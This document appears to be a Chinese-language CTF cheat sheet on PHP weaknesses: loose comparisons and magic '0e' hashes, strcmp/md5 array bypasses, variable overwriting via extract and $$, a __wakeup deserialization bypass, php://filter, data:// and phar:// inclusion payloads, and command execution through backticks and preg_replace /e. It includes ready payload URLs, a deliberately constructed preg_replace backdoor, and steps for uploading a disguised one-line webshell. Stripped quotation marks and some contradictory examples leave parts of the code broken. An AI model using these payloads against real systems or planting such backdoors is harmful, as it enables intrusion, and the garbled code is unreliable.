系統變數

$_POST // 獲取 post 數據,是一個字典
$_GET // 獲取 get 數據,是一個字典
$_COOKIE // 獲取 cookie
$_SESSION // 獲取 session
$_FILE // 獲取上傳的文件
$_REQUEST // 獲取 $_GET,$_POST,$_COOKIE 中的數據

錯誤控制運算符

PHP 支持一個錯誤控制運算符:@。當將其放置在一個PHP 表達式之前,該表達式可能產生的任何錯誤信息都被忽略掉。

變數默認值

當定義一個變數,如果沒有設置值,默認為0

$_GET 和 $_POST

http://ctf4.shiyanbar.com/web/false.php?name[]=a&password[]=b

如果 GET 參數中設置 name[]=a,那麼 $_GET[name] = [a],php 會把 []=a 當成數組傳入, $_GET 會自動對參數調用 urldecode

$_POST 同樣存在此漏洞,提交的表單數據,user[]=admin$_POST[user] 得到的是 [admin] 是一個數組。

內置函數的鬆散性

strcmp

strcmp 函數的輸出含義如下:

如果 str1 小於 str2 返回 < 0;

如果 str1 大於 str2 返回 > 0;如果兩者相等,返回 0。

  • 5.2 中是將兩個參數先轉換成string類型。
  • 5.3.3 以後,當比較數組和字元串的時候,返回是0。
  • 5.5 中如果參數不是string類型,直接return了

$array=[1, 2, 3];
// 數組跟字元串比較會返回 0
//這裡會輸出 null,在某種意義上 null 也就是相當於 false,也就是判斷為相等
var_dump(strcmp($array, abc));

sha1 和 md5 函數

md5 和 sha1 無法處理數組,但是 php 沒有拋出異常,直接返回 fasle

sha1([]) === false
md5([]) === false

弱類型

當一個整形和一個其他類型行比較的時候,會先把其他類型 intval 再比較

intval

intval() 在轉換的時候,會從字元串的開始進行轉換直到遇到一個非數字的字元。即使出現無法轉換的字元串,intval() 不會報錯而是返回 0。

var_dump(intval(2)) // 2
var_dump(intval(3abcd)) // 3
var_dump(intval(abcd)) // 0

這個時候 $a 的值有可能是 1002 union…

if(intval($a) > 1000) {
mysql_query("select * from news where id=".$a)
}

is_numeric

PHP提供了is_numeric函數,用來變數判斷是否為數字。但是函數的範圍比較廣泛,不僅僅是十進位的數字。

<?php
echo is_numeric(233333); // 1
echo is_numeric(233333); // 1
echo is_numeric(0x233333); // 1
echo is_numeric(0x233333); // 1
echo is_numeric(233333abc); // 0
?>

in_array

in_array函數用來判斷一個值是否在某一個數組列表裡面,通常判斷方式如下:

in_array(b, array(a, b, c);

這段代碼的作用是過濾 GET 參數 typeid 在不在 1,2,3,4 這個數組裡面。但是,in_array 函數存在自動類型轉換。如果請求,typeid=1』 union select.. 也能通過 in_array 的驗證

if (in_array($_GET(typeid], array(1, 2, 3, 4))) {
$sql="select …. where typeid=".$_GET[typeid]";
echo $sql;
}

== 和 ===

  • == 是弱類型的比較
  • === 比較符則可以避免這種隱式轉換,除了檢查值還檢查類型。

以下比較的結果都為 true

// 0x 開頭會被當成16進位54975581388的16進位為 0xccccccccc
// 十六進位與整數,被轉換為同一進位比較
0xccccccccc == 54975581388

// 字元串在與數字比較前會自動轉換為數字,如果不能轉換為數字會變成0
1 == 1
1 == 01
10 == 1e1
100 == 1e2
0 == a // a 轉換為數字為 0

// 十六進位數與帶空格十六進位數,被轉換為十六進位整數
0xABCdef == 0xABCdef
0010e2 == 1e3

hash 比較的問題

0e 開頭且後面都是數字會被當作科學計數法,也就是等於 0*10^xxx=0。如果 md5 是以 0e 開頭,在做比較的時候,可以用這種方法繞過。

// 0e5093234 為 0,0eabc3234 不為 0

// true
0e509367213418206700842008763514 == 0e481036490867661113260034900752
// true
0e481036490867661113260034900752 == 0

// false
var_dump(0 == 0e1abcd);
// true
var_dump(0 == 0e1abcd);

var_dump(md5(240610708) == md5(QNKCDZO));
var_dump(md5(aabg7XSs) == md5(aabC9RqS));
var_dump(sha1(aaroZmOk) == sha1(aaK1STfY));
var_dump(sha1(aaO8zKZF) == sha1(aa3OFF9m));

如果要找出 0e 開頭的 hash 碰撞,可以用如下代碼

<?php

$salt = vunp;
$hash = 0e612198634316944013585621061115;

for ($i=1; $i<100000000000; $i++) {
if (md5($salt . $i) == $hash) {
echo $i;
break;
}
}

echo done;

switch

如果 switch 是數字類型的 case 的判斷時, switch 會將其中的參數轉換為 int 類型。

$i ="2abc";
switch ($i) {
case 0:
case 1:
case 2:
echo "i is less than 3 but not negative";
break;
case 3:
echo "i is 3";
}

這個時候程序輸出的是 i is less than 3 but not negative,是由於 switch() 函數將 $i 進行了類型轉換,轉換結果為 2。

正則表達式

preg_match

如果在進行正則表達式匹配的時候,沒有限制字元串的開始和結束(^$),則可以存在繞過的問題

$ip = 1.1.1.1 abcd; // 可以繞過
if(!preg_match("/(d+).(d+).(d+).(d+)/",$ip)) {
die(error);
} else {
// echo(key...)
}

ereg %00 截斷

ereg 讀到 %00 的時候,就截止了

<?php
if (ereg ("^[a-zA-Z]+$", $_GET[a]) === FALSE) {
echo You password must be alphabet;
}
?>

這裡 a=abcd%001234,可以繞過

變數覆蓋

extract

extract() 函數從數組中把變數導入到當前的符號表中。對於數組中的每個元素,鍵名用於變數名,鍵值用於變數值。

<?php
$auth = 0;
// 這裡可以覆蓋$auth的變數值
extract($_GET);
if($auth == 1){
echo "private!";
} else{
echo "public!";
}
?>

parse_str

parse_str() 的作用是解析字元串,並註冊成變數。與 parse_str() 類似的函數還有 mb_parse_str(),parse_str 將字元串解析成多個變數,如果參數 str 是 URL 傳遞入的查詢字元串(query string),則將它解析為變數並設置到當前作用域。

//var.php?var=new
$var=init;
parse_str($_SERVER[QUERY_STRING]);
// $var 會變成 new
echo $var;

$$ 變數覆蓋

如果把變數本身的 key 也當變數,也就是使用了 $$,就可能存在問題。

$_ = _POST;
// $$_ 是等於 $_POST

例子

// http://127.0.0.1/index.php?_CONFIG=123
$_CONFIG[extraSecure] = true;

foreach(array(_GET,_POST) as $method) {
foreach($$method as $key=>$value) {
// $key == _CONFIG
// $$key == $_CONFIG
// 這個函數會把 $_CONFIG 變數銷毀
unset($$key);
}
}

if ($_CONFIG[extraSecure] == false) {
echo flag {****};
}

unset

unset($bar); 用來銷毀指定的變數,如果變數 $bar 包含在請求參數中,可能出現銷毀一些變數而實現程序邏輯繞過。

特殊的 PHP 代碼格式

以這種後綴結尾的 php 文件也能被解析,這是在 fast-cgi 裡面配置的

  • .php2
  • .php3
  • .php4
  • .php5
  • .php7
  • .phtml

正則檢測文件內容中包含 <? 就異常退出,通常的PHP代碼就不行了,可以使用這種方式繞過

<script language="php">
echo base64_encode(file_get_contents(flag.php));
</script>

效果等於 echo a;

<?=a;?>

如果在 php.ini 文件中配置允許 ASP 風格的標籤

; Allow ASP-style <% %> tags.
; http://php.net/asp-tags
asp_tags = On

則可以使用該方式

<% echo a; %>

偽隨機數

mt_rand()

mt_rand() 函數是一個偽隨機發生器,即如果知道隨機數種子是可以預測的。

$seed = 12345;
mt_rand($seed);

$ss = mt_rand();

linux 64 位系統中,rand() 和 mt_rand() 產生的最大隨機數都是2147483647,正好是 2^31-1,也就是說隨機播種的種子也是在這個範圍中的,0 – 2147483647 的這個範圍是可以爆破的。

但是用 php 爆破比較慢,有一個 C 的版本,可以根據隨機數,爆破出種子 php_mt_seed。

在 php > 4.2.0 的版本中,不再需要用 srand() 或 mt_srand() 函數給隨機數發生器播種,現已由 PHP 自動完成。php 中產生一系列的隨機數時,只進行了一次播種,而不是每次調用 mt_rand() 都進行播種。

rand()

rand() 函數在產生隨機數的時候沒有調用 srand(),則產生的隨機數是有規律可詢的。具體的說明請看這裡。產生的隨機數可以用下面這個公式預測:

# 一般預測值可能比實際值要差1
state[i] = state[i-3] + state[i-31]

可以用下面的代碼驗證一下

<?php
$randStr = array();
for($i=0;$i<50;$i++) { //先產生 32個隨機數
$randStr[$i]=rand(0,30);
if($i>=31) {
echo "$randStr[$i]=(".$randStr[$i-31]."+".$randStr[$i-3].") mod 31"."
";
}
}
?>

反序列化

  • __construct():構造函數,當對象創建(new)時會自動調用。但在unserialize()時是不會自動調用的。
  • __destruct():析構函數,當對象被銷毀時會自動調用。
  • __wakeup() :如前所提,unserialize()時會自動調用。

PHP unserialize() 後會導致 __wakeup()__destruct() 的直接調用,中間無需其他過程。因此最理想的情況就是一些漏洞/危害代碼在 __wakeup()__destruct() 中。

__wakeup 函數繞過

PHP 有個 Bug,如果反序列化出現問題,會不去執行 __wakeup 函數,例如:

<?php
class xctf
{
public $flag = "111";

public function __wakeup()
{
exit(bad requests);
}
}

//echo serialize(new xctf());
echo unserialize($_GET[code]);
echo "flag{****}";
?>

使用這個 payload 繞過 __wakeup 函數

# O:4:"xctf":1:{s:4:"flag";s:3:"111";}
http://www.example.com/index.php?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

在字元串中,前面的數字代表的是後面字元串中字元的個數,如果數字與字元個數不匹配的話,就會報錯,因此將1改成2就會產生報錯,導致不會去執行 __wakeup 函數,從而繞過該函數。

文件包含

http://10.2.1.1:20770/index.php?page=upload

這種 url 很容易就能想到可能是文件包含或者偽協議讀取

http://10.2.1.1:20770/index.php?page=php://filter/read=convert.base64-encode/resource=upload

命令執行

反引號 `

反引號 ` 可以調用 shell_exec 正常執行代碼

`$_GET[v]` 相當於 shell_exec($_GET[v])

preg_replace()

觸發條件:

  1. 第一個參數需要e標識符,有了它可以執行第二個參數的命令
  2. 第一個參數需要在第三個參數中的中有匹配,不然echo會返回第三個參數而不執行命令,舉個例子:

// 這樣是可以執行命令的
echo preg_replace(/test/e, phpinfo(), just test);

// 這種沒有匹配上,所以返回值是第三個參數,不會執行命令
echo preg_replace(/test/e, phpinfo(), just tesxt);

我們可以構造這樣的後門代碼

@preg_replace("//e", $_GET[h], "Access Denied");
echo preg_replace("/test/e", $_GET["h"], "jutst test");

當訪問這樣這樣的鏈接時就可以被觸發

http://localhost:8000/testbug.php?h=phpinfo();

偽協議

php://filter

讀取文件

/lfi.php?file=php://filter/convert.base64-encode/resource=flag.php
/lfi.php?file=php://filter/read=convert.base64-encode/resource=flag.php

php://input

寫入文件, 數據利用 POST 傳過去

/test.php?file=php://input

data://

將 include 的文件流重定向到用戶控制的輸入流

/test.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpO2V4aXQoKTsvLw==

可以用於控制 file_get_contents 的內容為用戶輸入的流

$file=$_GET[file];
$data = @file_get_contents($a,r);
echo $data;

phar://

發現有一個文件上傳功能,無法繞過,僅能上傳jpg後綴的文件。與此同時,無法進行文件包含截斷。allow_url_include=on 的狀態下,就可以考慮phar偽協議繞過。

寫一個shell.php文件,裡面包含一句話木馬。然後,壓縮成xxx.zip。然後改名為xxx.jpg進行上傳。最後使用phar進行包含

這裡的路徑為上傳的 jpg 文件在伺服器的路徑

/index.php?id=phar://路徑/xxx.jpg/shell

zip://

上述 phar:// 的方法也可以使用 zip://

然後吧1.php文件壓縮成zip,再把zip的後綴改為png,上傳上去,並且可以獲得上傳上去的png的地址。

1.zip文件內僅有1.php這個文件

/php?file=zip://1.png%231.php

// 也可以嘗試不改名為png,直接使用zip上傳測試一下
/php?file=zip://1.zip%231.php

推薦閱讀:

相关文章